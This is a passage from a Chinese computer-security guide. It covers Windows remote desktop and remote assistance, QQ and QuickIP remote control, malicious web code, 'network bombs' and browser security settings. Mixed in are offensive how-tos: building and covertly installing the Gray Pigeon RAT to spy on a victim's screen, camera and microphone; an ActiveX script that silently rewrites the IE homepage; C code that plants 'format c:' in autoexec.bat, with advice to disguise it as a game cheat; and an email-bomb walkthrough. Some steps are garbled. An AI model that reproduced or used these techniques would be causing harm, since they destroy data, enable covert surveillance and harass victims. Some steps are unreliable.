04 　切换到“显示”选项卡，在其中设置远程桌面打开后的分辨率，即“远程桌面大小”设置项目。

小提示

远程桌面大小应当设置为比本地计算机略小，以方便操作，例如，本机桌面为1440×900，那么远程主机的分辨率则应设置为比这个参数略低，可以是1280×768或1280×720等。

05 　切换到“本地资源”选项卡，在其中单击“详细信息”按钮。

06 　切换到“本地资源”选项卡，在其中单击“详细信息”按钮。

07 　在打开的对话框中勾选“驱动器”复选框，然后单击“确定”按钮。

小提示

勾选“驱动器”复选项可以方便本地计算机与远程桌面之间进行文件复制和传输。

08 　切换到“体验”选项卡，在选择连接速度来优化性能下拉列表框中设置连接速度，在其下方设置远程桌面的样式，然后单击“连接”按钮。

09 　在弹出的对话框中输入登录远程计算机的账户密码。

10 　在弹出的对话框中询问是否信任此远程连接，这里单击“连接”按钮继续操作。

11 　在接着弹出的对话框中再次询问是否连接，这里单击“是”按钮，确认连接。

12 　此时系统会提示其他用户已经登录到目标计算机，并询问是否继续，这里单击“是”按钮，继续操作。

13 　此时，目标主机上会弹出对话框提示连接信息，如果没有应答则会在30秒后默认建立远程连接。

14 　待对方确认远程桌面连接后，就可以建立远程桌面链接了，即时就可以对远程主机进行删除、添加文件，启动或关闭程序等操作了。

例3　与远程桌面传送文件

在Windows 7操作系统中，可以通过简单的设置来实现远程计算机与本地主机进行文件传送，具体操作如下。

01 　单击系统桌面左下角的“开始”按钮，在弹出的“开始”菜单中依次单击“所有程序”→“附件”→“远程桌面连接”菜单命令。

02 　切换到“本地资源”选项卡，在打开的界面中单击“详细信息”按钮。

03 　在弹出的对话框中选取需要连接的驱动器，然后单击“确定”按钮。

04 　返回到上一级对话框，切换到“常规”选项卡，输入需要连接的远程计算机信息，然后单击“连接”按钮，连接到远程计算机。

05 　连接成功后，在远程计算机的桌面上打开“计算机”窗口即可看到本地驱动器。

06 　如果要将本地电脑中的文件传送到远程计算机中，可打开指定驱动器，然后右键单击要传送的文件，在弹出的菜单中单击“复制”、“剪切”命令。

07 　打开远程计算机，进入到指定目录下，右键单击空白处，然后单击“粘贴”命令即可。

6.2　Windows远程协助

如果计算机出现故障，而身边又没有高手能够请教，便可以通过网络请求他人远程协助。当远程主机和本机建立了远程协助连接后，对方就可以查看本机的系统桌面，并且在用户允许的情况下，远程主机还可以对本机直接进行操作。

例1　允许他人远程协助

在执行远程协助之前，需要先确认计算机是否允许了远程协助，如果没有，还必须先进行设置，允许远程协助，具体操作如下（以Windows 7操作系统为例）。

01 　在系统桌面上右键单击“计算机”图标，然后在弹出的菜单中单击“属性”命令。

02 　在打开的“系统”窗口中单击左侧窗格中的“远程设置”链接。

03 　在弹出的“系统属性”对话框中，切换到“远程”选项卡，勾选“允许远程协助连接这台计算机”复选框，然后单击“确定”按钮即可。

小提示

单击“选择用户”按钮，在打开的界面中可以添加或删除可以连接到本地计算机的账户。

例2　邀请他人远程协助

在使用计算机的过程中，如果遇到无法解决的问题，而周围的人无能为力，便可通过网络向远方的好友或计算机高手发送远程协助请求，邀请他们来帮助自己解决困难。邀请他人协助的具体操作如下。

01 　在系统桌面左下角单击“开始”按钮，在弹出的“开始”菜单中依次单击“所有程序”→“维护”→“Windows远程协助”菜单命令。

02 　在弹出的“Windows远程协助”向导对话框中单击“邀请信任的人帮助您”按钮。

03 　在弹出的对话框中单击“将该邀请另存为文件”按钮。

04 　在打开的“另存为”对话框中设置邀请文件的文件名和保存路径，并将邀请文件的后缀名设置为“.Msrcincident”，然后单击“完成”按钮。

05 　Windows 7的远程协助打开，此时向被邀请者传送保存好的“邀请”文件和协助秘密，然后等待对方回应即可。

小提示

用户可以通过Web邮箱或文件共享的方式将“邀请”文件发送给好友，同时，也需要将该对话框中显示的密码发送给被邀请者。此外，在发送请求和等待协助的过程中不能关闭“Windows远程协助”对话框，否则将无法建立远程连接。

例3　利用远程协助帮助他人

在使用计算机时可以向远程主机发送协助请求，来邀请他人帮助自己，同时也可以在收到远程协助的请求后，利用自己掌握的知识来远程帮助其他人，具体操作如下。

01 　收到远程协助的邀请文件后，对其双击，在弹出的对话框中输入用于连接到远程主机的密码，单击“确定”按钮。

02 　在被帮助者计算机上会弹出对话框提示用户是否允许连接，当对方点击“是”按钮后即可建立远程协助连接了。

03 　当远程协助成功建立后，双方可在打开的窗口中单击“聊天”按钮，进行交流，缩小故障的范围，如果需要对远程主机进行操作，可以单击“请求控制”按钮。

04 　此时在对方的计算机屏幕上会弹出提示框询问用户是否允许远程主机控制本地计算机，如果需要则单击“是”按钮，允许远程控制。

小提示

如果提示远程控制建立失败，则可能是系统设置问题，此时按前面的方法打开“系统属性”对话框，并在“远程”选项卡中单击“高级”按钮，在弹出的“远程协助设置”对话框中勾选“运行此计算机被远程控制”复选框，然后单击“确定”按钮。

05 　当远程主机接受控制后，即可通过鼠标和键盘对远程主机进行操作了。

例4　远程协助和远程桌面的区别

远程协助和远程桌面的名称相似，都涉及到与远程计算机的连接，我们可以从它们的用途来加以区分。

使用远程桌面是从另一台计算机远程访问本地主机，例如，可以使用远程桌面从家里连接到工作计算机。您将可以访问所有的程序、文件和网络资源，就好像坐在自己的工作计算机前面一样，在您处于连接状态时，远程计算机屏幕将显示为注销状态。

使用远程协助主要是提供远程协助或接收协助。例如，朋友或技术人员可以访问您的计算机，以帮助您解决计算机问题或为您演示如何进行某些操作。当然，您也可以使用同样的方法帮助其他人。在这两种情况下，您和他人都能看到同一计算机屏幕，如果决定与您的帮助这共享你的计算机控制，则双方可以共同控制被施予协助的计算机。

6.3　使用工具实现远程控制

除了通过系统提供的功能来实现远程控制外，目前很多网络软件都提供了这类功能。这类软件的操作方法更为简单、便捷。

例1　使用腾讯QQ实现远程控制

对于广大电脑用户来说，腾讯QQ一定不会陌生，甚至很多用户打开电脑的第一件事就是登录QQ。QQ软件也具有远程控制功能，通过此项功能，用户可以想QQ好友申请协助，在好友同意并获得控制权限后便可轻松的操作您的电脑。使用腾讯QQ实现远程控制的方法如下。

01 　登录腾讯QQ，双击需要申请协助的好友头相，在打开的聊天窗口中单击“应用”下拉按钮，然后在弹出的下拉菜单中单击“远程协助”命令。

02 　程序会向远程计算机发起远程协助请求，并等待对方允许连接，这里用户需要耐心等待。

03 　此时远程好友的QQ程序会提示好友您向他/她发起远程协助，并询问是否接受，单击“接受”按钮表明答应协助。

小提示

在接受远程协助前，应该先确认发起远程协助的对象，然后再建立链接。

04 　本地QQ程序会询问用户是否确定让对方查看自己的屏幕，这里单击“确定”按钮继续操作。

05 　远程协助建立成功以后，在好友的QQ聊天窗口右侧可以看到远程主机的系统桌面，此时可单击工具栏的“全屏”按钮，切换到全屏模式以便查看。

小提示

如果觉得“全屏”模式会影响对本机的操作，可以单击“窗口浮动”按钮，让远程桌面以一个浮动的窗口进行显示。

06 　至此，远程好友还只能查看系统桌面，而不能对本地计算机进行操作，如果希望对方控制计算机以帮助解决问题，可以单击QQ聊天窗口中的“申请受控”按钮。

07 　对方QQ程序会弹出对话框询问是否接受受控要求，待好友单击“是”按钮后，单击“是”按钮可以获得本地计算机的控制权限。

小提示

接受受控请求后，可以获得对方计算机的控制权限，包括删除或添加文件，运行远程计算机中的程序等。

08 　当获得本地主机的控制权限后，好友即可远程操作本地主机，并解决存在的问题。

09 　待故障解除后单击“断开”按钮，即可结束远程控制连接。

小提示

单击“停止受控”按钮，可停止对方对本地计算机的控制权限，但对方仍然可以查看本地系统桌面。此外，用户还可根据对聊天窗口中的提示，同时按下“Shift”＋“Esc”键停止受控。

例2　使用QQ远程控制获取被控端主机文件

借助QQ远程协助，我们可以从被控端主机上获取需要的文件，具体操作如下。

01 　参照前面的方法与目标主机建立远程控制，在对方QQ上打开与本地QQ的聊天窗口，然后依次单击“文件”→“发送文件夹”菜单命令。

02 　在弹出的对话框中找到要传送的文件夹，然后单击“确定”按钮。

03 　在本地计算机中会弹出聊天对话框，这时单击“另存为”按钮。

04 　在弹出的对话框中选择文件夹的存放位置，然后单击“确定”按钮。

05 　按照相同的方法可以从远程电脑中获取更多文件，如果不需要其他文件了，可单击“断开”按钮，断开与远程主机的链接。

例3　使用QQ远程控制关闭被控端主机

使用QQ远程控制，不但能在对方电脑上开启，关闭程序，还可以将远程主机关闭，具体操作如下。

01 　参照前面介绍的方法，与目标电脑建立好远程控制。

02 　在对方电脑上单击桌面左下角的“开始”按钮，在弹出的“开始”菜单中单击“关闭”按钮即可。

例4　设置QuickIP的服务器端和客户端

对于网络管理来说，往往一台主机要管理多台计算机，需要应用到多点远程控制技术。QuickIP就是一款具有多点远程控制技术的工具，常用于服务器管理、远程办公、远程资源共享、网吧管理、远程教育、远程监控等。

在使用QuickIP进行远程控制之前，需要先对服务器端和客户端进行相应的设置，然后才能进行操作。具体设置方法如下。

01 　从网上下载并安装QuickIP软件的最新版本。

小提示

由于QuickIP将服务器端和客户端合并在一起，所以每台计算机中都需要安装服务器端和客户端，这样，安装了QuickIP的网络计算机都可以控制其他计算机，或被其他计算机控制。

02 　启动QuickIP服务器，系统会弹出如下对话框提示用户修改密码，在其中单击“确定”按钮。

小提示

为了实现安全的密码验证登录，QuickIP设定客户端必须知道服务器的登录密码。

03 　在弹出的对话框中设置密码信息，然后单击“确定”按钮。

04 　在弹出的对话框中会提示用户密码设置成功，这里单击“确定”按钮，继续操作。

05 　稍后进入QuickIP服务器端界面，并显示登录成功。

06 　启动QuickIP客户机程序，在打开的程序窗口中单击工具栏的“添加主机”按钮。

07 　在弹出的对话框中输入要添加的远程主机的账户名和对应的密码，然后单击“确定”按钮。

08 　在返回的程序主窗口中即可看到添加的远程主机。

例5　使用QuickIP实现远程控制

添加好远程主机后，用户就可以在客户端程序窗口中查看远程主机的各种信息、进行文件传输、远程关机、远程重启等操作，具体操作如下。

01 　启动QuickIP客户端程序，在打开的窗口中依次单击“展开”按钮，展开远程主机的“远程磁盘驱动器”选项。

02 　进入到指定文件夹，右键单击需要传输的文件，然后在弹出的菜单中单击“复制”命令。

03 　展开本地主机，进入到指定目录下，右键单击空白处，单击“粘贴”按钮，可以将远程主机中的文件传输到本地主机中。

04 　展开远程主机下的“远程控制”项，用户可以根据需要进行相关的操作，例如，要查看远程主机屏幕，则双击“屏幕控制”项。

05 　在打开的窗口中可看到远程主机系统桌面，用户可使用窗口左上方的工具按钮进行相关的操作。

06 　如果想对远程主机中的系统进程进行管理，可双击展开“远程主机进程列表”项，然后根据实际情况进行操作即可。

例6　使用灰鸽子实现远程控制

灰鸽子是一款功能强大的远程控制软件，适用于Windows XP/2003等操作系统，使用它可以实现查看远程计算机系统信息、修改远程注册表以及关闭远程计算机等操作。使用灰鸽子软件对远程计算机进行控制需要先生成服务器端，然后将服务器端在远程计算机上运行才能进行控制，具体操作如下。

01 　下载并安装灰鸽子软件，启动其主程序，在打开的窗口中单击“配置服务程序”按钮。

02 　在打开的“服务器配置”对话框中切换到“自动上线”选项卡，在其中根据提示输入IP通知地址、上线备注、连接密码等信息。

03 　切换到“安装选项”选项卡，在其中设置运行服务器程序后的有关选项。

04 　切换到“启动项”选项卡，在其中选择是否将服务端程序信息写入系统注册表等选项。

05 　切换到“高级选项”选项卡，设置服务端程序进程的处理方式，单击“保存路径”文本框右侧的“浏览”按钮。

06 　在打开的对话框中设置生成服务器的保存位置和名称，单击“保存”按钮，然后在返回的“服务器配置”对话框中单击“生成服务器”按钮。程序开始配置服务器程序，配置完成后会弹出对话框提示配置成功。

07 　将生成的服务器程序文件复制到远程计算机中并运行，待程序正常运行后会弹出对话框提示灰鸽子远程控制服务端安装成功。

08 　远程控制服务端安装完成后，当被控端计算机与Internet连接时，就会自动与客户端连接。

09 　在“文件管理”选项卡下，用户可以先展开被控端计算机，然后在主控端与被控端计算机之间进行各种文件操作，包括删除、复制、粘贴文件等。

10 　切换到“远程命令管理”选项卡，在此界面中可以对远程计算机信息进行全面的查看，例如，要查看远程计算机的配置信息，则选中“系统信息”选项，然后单击左下角的“配置信息”按钮。

11 　程序会自动搜索远程计算机的系统配置信息，然后将搜索结果显示在窗口中。

12 　如果要对远程计算机的注册表信息进行修改，则可切换到“注册表编辑器”选项卡，然后在打开的界面中根据需要进行操作即可。

13 　如果需要捕捉远程计算机的系统桌面，在灰鸽子主程序窗口中单击“捕捉屏幕”按钮。在稍后弹出的对话框中显示被控端主机当前的系统桌面。

14 　如果想要监听和保存被控计算机的视频和语音信息，可以在灰鸽子主程序窗口中单击“视频语音”按钮，然后在打开的对话框中根据需要进行设置即可。

例7　卸载灰鸽子

如果用户发现自己的计算机中有灰鸽子服务端在运行，则可以先用杀毒软件进行清除，或者手动进行清除，具体操作如下。

01 　在系统桌面左下角单击“开始”按钮，在弹出的“开始”菜单中单击“运行”命令。

02 　在弹出的“运行”对话框中输入“Services.msc”命令，然后按下Enter键。

03 　在打开的“服务”窗口中找到并双击灰鸽子远程服务项，本例为“Server 2010”，对其双击鼠标左键。灰鸽子服务项的名称是在主控端配置服务器时设定的。

04 　在弹出的对话框中将该服务项的“启动类型”设置为“已禁用”，然后单击“确定”按钮。

05 　此外还可以通过终止灰鸽子服务进程来卸载灰鸽子程序，同时按下“Ctrl＋Shift＋Esc”组合键，然后在打开的对话框中选中灰鸽子进程“IEXPLORE.EXE”，然后单击“终止进程”按钮将其终止。

此外，用户也可以在主控端计算机上使用灰鸽子软件卸载远程服务，方法是：在灰鸽子程序主界面选中要操作的被控端计算机，切换到“远程控制命令”选项卡，在窗口下方单击“进程管理”按钮，在右侧单击“查看进程”按钮，在显示出来的进程中找到灰鸽子远程服务进程“IEXPLORE.EXE”，然后单击右侧的“终止进程”即可。

读累了记得休息一会哦~

公众号：古德猫宁李

电子书搜索下载

书单分享

书友学习交流

网站：沉金书屋 https://www.chenjin5.com

电子书搜索下载

电子书打包资源分享

学习资源分享

第7章　网络攻防

7.1　网页恶意代码防范

在网络快速普及的今天，恶意代码的肆虐，在Internet上不经意地打开一个网站就可能使电脑感染病毒，造成浏览器首页被篡改或破坏等无法预料的严重后果。因此，应增强对恶意代码的认识，以保证个人电脑的安全。

例1　网页恶意代码的攻击原理与方式是怎样的

同解决其他问题一样，要预防和清除网页恶意代码，需要从其根本入手，了解其攻击的原理和方式，进而对症下药，彻底的清除恶意代码的威胁。

小提示

恶意代码是一种具有入侵性和破坏性的程序，通常在用户不知情的情况下安装和运行，一般利用软件漏洞、用户本身或者两者的混合等手段来传播恶意代码。随着IT技术的发展，恶意代码的传播方式也在不断改变和升级。

大部分恶意攻击性的网页都是通过修改用户的注册表，来达到修改网络首页地址、锁定部分功能等攻击目的。然而我们只是浏览网页，它们是怎么瞒过我们修改了注册表呢？这就不得不提微软（Microsoft）公司的ActiveX技术了。该技术被用于网页编制中，使用JavaScript语言就可以很容易地将ActiveX嵌入到Web页面中。目前互联网上已有成千上万的第三方ActiveX控件。

小提示

ActiveX是微软公司提供的一组使用COM使软件部件在网络环境中进行交互的技术集，是Internet应用开发的重要技术之一，广泛应用于Web服务器，以及客户端的各个方面。

随着ActiveX控件的广泛应用，考虑到Web的安全性，也为了在服务器能够与客户端之间建立良好的信任关系，就规定每个在Web上使用的ActiveX控件都需要设置一个“代码签名”，如果要正式发布，就必须向相关机构申请。不过，由于“代码签名”技术的不完善，导致了许多攻击性代码能够顺利破解“代码签名”，从而修改注册表。

这里介绍一个简单的恶意代码供大家学习：

    <html>
    <head>
    <title>网页恶意代码实例</title>
    <body>
    <script>
    document.write（'<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXcomp onent></APPLET>'）
    <!--使用函数调用ActiveX-->
    function f（）
    ｛x1=document.applets［0］;
    x1.setCLSID（'｛F935DC22-1CF0-11D0-ADB9-00C04FD58A0B｝'）;
    x1.createInstance（）;
    xm=x1.GetObject（）;
    xm.RegWrite（'HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page'，'http://w ww.baidu.com'）;
    ｝
    function init（）｛setTimeout（'f（）'，1000）;｝
    init（）;
    </script>
    <h1>恶意代码攻击实验</h1><hr>
    <h2>IE首页已被修改为“http://www.baidu.com”。</h2>
    </body>
    </html>

此段代码可将IE浏览器的首页地址改为“http://www.baidu.com”，它主要是通过修改注册表“HKEY_CURRENT_USER\SOFT WARE\Microsoft\Internet Explorer\Main\Start Page”中的键值来完成的。

例2　利用360安全卫士查杀恶意代码

网页恶意代码会对操作系统和个人信息安全都会造成严重的威胁，应经常对电脑中的恶意代码进行查杀。目前很多安全辅助类软件都提供了这类查杀功能，例如，QQ电脑管家、金山卫士等，下面以QQ电脑管家为例进行介绍。

01 　下载并安装QQ电脑管家，启动其主程序，在主界面中单击“清理垃圾”按钮。

02 　切换到“清理垃圾”界面，在窗口下方的列表中勾选“清理插件”复选框，单击“开始扫描”按钮。软件开始对系统中的恶意程序进行扫描，用户需耐心等待。

03 　扫描结束后会显示扫描结果，如果存在恶意插件，选中这些恶意程序，然后单击“立即清理”按钮。

04 　待清理完成后，关闭程序并重新启动电脑即可。

例3　防范网页恶意代码

我们可以使用软件或其他方法对系统中的恶意代码进行查杀。但执行这些操作时，可能电脑已经被恶意代码感染了。要想保证电脑不被恶意代码感染，必须先从防范做起。网页恶意代码的预防主要应该注意以下几个方面。

不要轻易打开一些并不十分熟悉的网站，尤其是有关色情、暴力、黑客信息的网站，否则计算机很可能在不经意间就染上了恶意代码。

打开IE浏览器的“Internet选项”对话框，将网络的安全级别调到“中”或“高”，以便在浏览网页时网络自动屏蔽危险的代码。

打开IE浏览器的“Internet选项”对话框，将一些危险的网站添加到受限站点中，以预防不小心打开这些网站，感染上恶意代码。

小提示

可能有些读者对IE浏览器的“Internet选项”对话框中的设置不太熟悉，本书会在后面的学习中为大家作详细的介绍。

开启Windows自带的防火墙或者在网上下载并安装专业的防火墙软件，例如，著名的天网防火墙，并且开启防火墙的时时监控功能。

例4　解决主页设置锁定的问题

主页设置锁定很可能是因为恶意代码修改了注册表信息，可以通过以下办法来解决。

01 　在系统桌面左下角单击“开始”按钮，在弹出的开始菜单的搜索栏中输入“regedit”命令，然后单击“Enter”键。

02 　在弹出的“注册表编辑器”窗口中，依次展开“HKEY_CURRE-NT_USER\Software\Microsoft\InternetE xplorer\control Panel”子键，在右侧窗口中右键单击空白处，在弹出的菜单中依次单击“新建→DWORD值”菜单命令。

03 　将新建的键值项命名为“HomePage”，对其双击鼠标左键，在弹出的“编辑字符串”对话框中，将“数值数据”文本框内的值改为“0”，然后单击“确定”按钮即可。

7.2　网络炸弹攻防

“网络炸弹”的由来是因为黑客在使用一种大量信息瞬间发送式的攻击后，被攻击主机立即会产生网络阻塞、蓝屏、死机等现象，使被攻击主机无法正常使用。

例1　网络炸弹具有这些危害

“网络炸弹”可以理解为是在特定逻辑条件满足时实施破坏的程序，与病毒相比，炸弹强调破坏作用本身，但炸弹在破坏手段的选择上和病毒的攻击手段没有什么大的区别，因此防范炸弹和病毒具有许多相同的方法。通常情况下，网络炸弹具有以下危害。

直接破坏数据：网络炸弹通常是以发送大量垃圾信息来堵塞网络，这些垃圾信息会占用网络资源，并且破坏用户网络中的各种数据。

不可控制的意外性：在黑客使用网络炸弹攻击目标主机时，一旦网络炸弹进行攻击，将无法控制，这很可能导致局部网络瘫痪，甚至更可怕的后果。

还原数据比较困难：受到网络炸弹攻击后，所有损坏的数据将被炸弹信息取代，对于一些系统数据可以系统还原来恢复，但是对于一些特殊数据，如邮箱中的邮件、附件等是无法找回的。

引发连带的社会灾难：正如前文所说的，黑客可能会使用网络炸弹冒充用户在论坛等网络空间中发布虚假信息，这很可能导致他人误认为是本人的消息进而造成不可想象的后果。

随着网络炸弹功能的扩展，操作界面逐步倾向傻瓜化，它的影响也越来越广泛，从电子邮件、聊天工具到服务器都可以进行攻击。

例2　网络炸弹都有那些种类

在个人电脑的程序中，病毒、木马、网络炸弹是常见的几种破坏手段，对电脑系统进行攻击是它们共同的特点，它们的区别主要体现在传播途径和破坏手段不同。如今，网络中最常见的网络炸弹主要有IP炸弹、E-mail炸弹、java炸弹以及硬盘炸弹等。

1．E-mail炸弹

E-mail炸弹是黑客最常用的攻击手段，大多是通过一次性或反复地向目标邮箱发送大量的垃圾邮件，这些邮件具有地址不详、容量庞大、发送时间间隔短等特征，其典型危害就是信箱挤爆、无法正常收信，严重时还可能导致邮件服务器瘫痪。

2．硬盘炸弹

硬盘炸弹是一种影响很恶劣的炸弹，它的目的就是损坏目标计算机中的数据，如连环格式化等。攻击者会将编写好的炸弹程序上传的网上，这样一旦用户访问这些网站，就会运行这些炸弹程序，进而造成严重的后果。例如，有的硬盘炸弹在运行后并不会立即发作，而是会在几天后定时发作，软件本身还加了密、有壳保护，可以使硬盘数据丢失，假0道损坏，硬盘假死，软驱驱动无效等情况。

编写硬盘炸弹非常容易，例如，下面就是使用C语言编写的格式化硬盘的炸弹代码。

    #include<stdio.h>
    Main（）
    ｛
    FILE*fp;
    Charfilename［30］=”c:\\autoexec.bat”，filecontent［100］=”c:\\windows\\command\\format c:/q-/autotest/u”;
    If（（fp=fopen（filename，”w”））==NULL）
    Printf（“cannot open filename\n”）;
    fputs（filecontent，fp）;
    printf（“现在正在扫描你的计算机:\n正在加载外挂:”）;
    fclose（fp）;
    ｝

以上代码在VC＋＋6.0和Turbo C 2.0上运行通过，程序中的中文可以自己随意编写。编译通过后，只要吧这个可执行程序加上一个极具诱惑的名字和一个漂亮的图标，欺骗目标用户运行就可以了，例如，把这个程序仿照成一个QQ农场外挂，那么中招的人就会非常多。

3．Java炸弹

Java语言是Sun公司于1995年推出的一种极富创造力的程序设计语言，具有跨平台性。通过Java编写的软件几乎能够在任何计算机或设备上运行。

一些不法分子也使用Java技术攻击其他用户的电脑。例如，使用Java编程语言编写具有破坏功能的网页，用户只要访问这些网页，就会在系统桌面上不断的弹出大量网页浏览器窗口，由于网页浏览器占用系统资源是很可观的，所以这样的现象一旦出现，就会导致系统资源迅速耗尽，进而出现蓝屏、死机等现象。

4．IP炸弹

IP炸弹是最常见的网络炸弹之一，这类炸弹是利用Windows的系统协议漏洞进行攻击的，黑客们只要查到用户的IP地址即可使用专用的“炸弹”进行攻击，被攻击主机通常会出现断线、蓝屏、死机或重新启动等现象。

例3　网络炸弹攻击实例

通过前面的学习我们对网络炸弹有了一定的了解，下面介绍使用亿虎E-mail群发大师制造邮箱炸弹的方法。

01 　下载并安装亿虎Email群发大师软件，启动其主程序，在弹出的操作窗口中单击“增加”按钮。

02 　在弹出的“选择地址文件”对话框中选中已经制作好的Email邮箱列表文件，然后单击“打开”按钮。

03 　在返回的窗口中即可看到添加的列表文件，然后单击“邮件内容”按钮。

04 　在打开的对话框中编写邮件内容，编写完成后单击“邮件附件”按钮。

05 　在打开的“邮件附件”界面单击“附件增加”按钮。

06 　在弹出的对话框中选中要添加的附件，然后单击“打开”按钮。

小提示

单击“查找范围”右侧的下拉按钮，在打开的下拉菜单中可选择文件所在的文件夹，以便快速查找到指定文件。

07 　在返回的对话框中可看到添加的附件，然后单击工具栏的“服务器”按钮。

08 　在打开的界面中单击“服务器增加”按钮。

09 　在打开的对话框中填写发件地址和收件地址，并且设置SMTP服务器，单击“测试”按钮，可查看服务器是否有效，确认无误后单击“确定”按钮。

10 　如果检测DNS服务器无效，可单击“测试”按钮右侧的“…”按钮，然后在打开的页面中查找国内域名解析服务器DNS，然后重新设置DNS服务器。

11 　在返回的窗口中单击“选项”按钮，在弹出的对话中设置邮件发送的详细信息，然后单击“确定”按钮。

12 　在返回的界面中单击“发送控制”按钮，然后在打开的界面中根据实际情况设置需要控制的邮件地址。

13 　设置完成后，单击“开始”按钮，即可指定邮箱定时发送邮件了。

例4　防御网络炸弹

防御网络炸弹的方法与防范电脑病毒和木马有很多相似之处，主要有以下几点。

清理启动项：很多网络炸弹驻留在系统中，并伴随系统的启动而启动，所以，应谨慎系统的恶意启动项。

修复系统漏洞：不管是网络炸弹、木马还剩病毒，系统漏洞都是一个主要的进攻渠道，所以经常检查并及时修补系统漏洞也可以在一定程度上预防网络炸弹攻击。

安装杀毒软件：目前很多杀毒软件都具有防范网络炸弹攻击的功能。需要注意的是应在软件官方网站下载或购买正本的杀毒软件。

谨慎填写邮件地址：很多邮件炸弹的攻击者都会使用一些软件来搜寻用户的E-mail地址，而这些地址很多时候都是用户在注册论坛或某网站时所暴露的。所以为避免黑客搜寻到自己的邮箱地址，在注册某网站信息时，可以将邮箱地址填写为“12345@sina。cn”，而不是规范的邮箱地址12345@sina.cn。

例5　清除网络标题栏被添加的非法信息

如果用户在使用电脑时遇到网络窗口顶端的蓝色标题栏上多出了某网站的广告标题，可以用以下方法解决。

01 　在系统桌面左下角单击“开始”按钮，在弹出的开始菜单的搜索栏中输入“regedit”命令，然后单击“Enter”键。

02 　打开“注册表编辑器”窗口，依次展开“HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\Main”子键，在右侧将“Window Title”键值项的名称改为“Window TitleMicrosoft Internet Explorer”，然后按下“Enter”键即可。

7.3　浏览器安全设置

网页浏览器是浏览网页和下载文件时最常用的门户工具，对网页浏览器进行一些安全保护设置，可以在很大程度上防止病毒或黑客攻击。

例1　设置Internet安全级别

在网页浏览器中进行安全级别的设置，可防止用户在上网过程中无意识地打开包含病毒和木马程序的网页，以及下载到带病毒的文件。设置Internet安全级别的具体方法如下。

01 　启动网页浏览器，如IE。按下“Alt”键激活菜单栏，单击菜单栏中的“工具”按钮，在弹出的下拉菜单中单击“Internet选项”命令。

02 　在弹出的“Internet属性”对话框中切换到“安全”选项卡，单击“Internet”选项，单击“默认级别”按钮，拖动“该区域的安全级别”栏中的滑块，设置需要的安全级别，然后单击“确定”按钮，完成设置。

例2　启动浏览器时不加载任何页面

正常情况下，网页浏览器启动时会打开默认主页或者一个空白页面，如果默认主页被恶意更改，一旦启动网络就可能进入危险的网站，从而给电脑安全带来巨大的威胁，为了避免这种情况的发生，可以设置在启动浏览器时不加载任何页面，具体操作方法如下。

01 　启动网页浏览器，按下“Alt”键激活菜单栏，单击菜单栏中的“工具”按钮，在弹出的下拉菜单中单击“Internet选项”命令。

02 　在弹出的“Internet属性”对话框的“常规”选项卡中，单击“使用空白页”按钮，然后单击“确定”按钮保存设置即可。

例3　设置隐私级别

设置浏览器的隐私级别也可以在一定程度上防止黑客工具，具体操作如下。

01 　启动网页浏览器，按下“Alt”键激活菜单栏，单击菜单栏中的“工具”按钮，在弹出的下拉菜单中单击“Internet选项”命令。

02 　在弹出的“Internet属性”对话框中切换到“隐私”选项卡，在打开的界面中根据需要进行相关的设置，然后单击“确定”按钮即可。

例4　禁止更改安全区域设置

当在网页浏览器的“安全”选项卡中设置了安全级别后，若不想让他人随意更改，可以通过修改注册表信息，禁止他人更改安全区域设置，具体操作如下。

01 　在系统桌面左下角单击“开始”按钮，在弹出的开始菜单的搜索栏中输入“regedit”命令，然后单击“Enter”键。

02 　在弹出的“注册表编辑器”窗口中，依次展开“HKEY_LOCAL_MACHINE\Software\Polics\Microsoft\Windows\CurrentVersion\InternetSettings”子键。

03 　将新建的键值项命名为“Security_options_edit”，然后对其双击鼠标左键。

04 　在弹出的“编辑字符串”对话框中，在“数值数据”文本框中输入“1”，单击“确定”按钮，完成设置。

例5　过滤弹出广告页面

在用户浏览网页的过程中，常会弹出网站自带的广告窗口，这不但会影响对网页的正常浏览，如果用户不小心点到广告窗口，还可能会进入带有病毒或木马的黑客网站，通过启用阻止弹出广告页面的功能，可以有效避免这一情况。具体操作方法如下。过滤广告页面的操作方法如下。

01 　启动网页浏览器，按下“Alt”键激活菜单栏，单击菜单栏中的“工具”按钮，在弹出的下拉菜单中单击“Internet选项”命令。

02 　在弹出的“Internet属性”对话框中，单击“安全”选项卡，然后单击“自定义级别”按钮。

03 　在弹出的窗口中找到“使用弹出窗口阻止程序”，在其下方选择“启用”单选项，单击“确定”按钮。

04 　在返回到“Internet属性”对话框中，再次单击“确定”按钮完成设置。

例6　禁止用户添加或删除安全区域中的站点

在“Internet选项”的“安全”选项卡有一组安全级别设置，这里的安全区域是一组具有相同安全级的网站。本设置用于禁止安全区域的站点管理设置。

如果不启用本设置，则用户可以向“可信站点”区域和“受限站点”区域添加网站，也可以删除其中的网站，还可以修改“本地Intranet区域”的设置。

01 　打开注册表编辑器，依次展开到如下子键：［HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\］。

02 　在右边窗格中新建“DWORD值”，并命名为“Security_zones_map_edit”，将其值修改为“1”（禁用）。

例7　设置“Internet属性”对话框中选项卡的访问权限

“Internet属性”对话框的各个选项卡的设置都非常重要，本设置用于防止随便修改“Internet属性”对话框的各选项卡。操作根键：［HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\control Panel\］。

操作的键值项所对应的功能如下表。

例如，将“generaltab（REG_DWORD）”键值项的值设置为“0”，则当打开“internet属性”对话框时，就会看到“常规”选项卡被删除。

例8　打开仿冒网站筛选功能

IE 8.0记以上版本都具有仿冒网站筛选功能。通过该功能，在上网时可以对网站进行检查，避免恶意网站的欺骗。打开仿冒网站筛选功能的具体操作如下。

01 　启动网页浏览器，单击工具栏中的“安全”按钮，在弹出的下拉菜单中单击“SmartScreen筛选器”命令。

02 　在弹出的对话框中选择“打开SmartScreen筛选器（推荐）”单选项，然后单击“确定”按钮即可。

此外，如果在浏览网页的过程中遇到可疑网站，可以手动对该网站进行检查，具体操作如下。

01 　启动网页浏览器，单击工具栏中的“安全”下拉按钮，然后在弹出的下拉菜单中依次单击“SmartScreen筛选器”→“检查此网站”命令。

02 　在弹出的“SmartScreen筛选器”对话框中单击“确定”按钮。

03 　在弹出的对话框中会显示检查结果，单击“确定”按钮即可。

例9　禁止更改浏览器的主页

